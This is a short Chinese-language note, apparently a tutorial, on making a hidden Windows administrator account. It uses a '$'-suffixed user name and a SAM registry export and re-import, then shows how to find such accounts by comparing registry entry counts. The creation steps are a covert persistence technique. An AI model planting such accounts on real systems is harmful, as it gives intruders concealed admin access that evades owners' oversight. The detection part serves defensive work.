建立隐藏用户
1.cmd> net user 用户名$ 密码 /add
hint: cmd> net localgroup administrators 用户名$ /add
(将用户添加进管理员组)
2.cmd> regedit
路径 HKEY_LOCAL_MACHINE --SAM–SAM(需要右击权限修改管理员权限)-Domains-Account-users
右击导出Users表 第[names表下的用户名所对应的顺序]位置的表项
3.cmd> net user 用户名$ /del
4.把导出的注册表重新导入到注册表里.接着注销。
测试:用隐藏用户登录 发现也可以。 而在控制面板和DOS窗口下 无法查到
查找隐藏用户
cmd> regedit
路径 HKEY_LOCAL_MACHINE --SAM–SAM(需要右击权限修改管理员权限)-Domains-Account-users
查看Users表项与Names表项中的项数量是否一致
if 数量一致:无隐藏用户
else: 对照其它电脑用户注册表 即可找出隐藏用户表项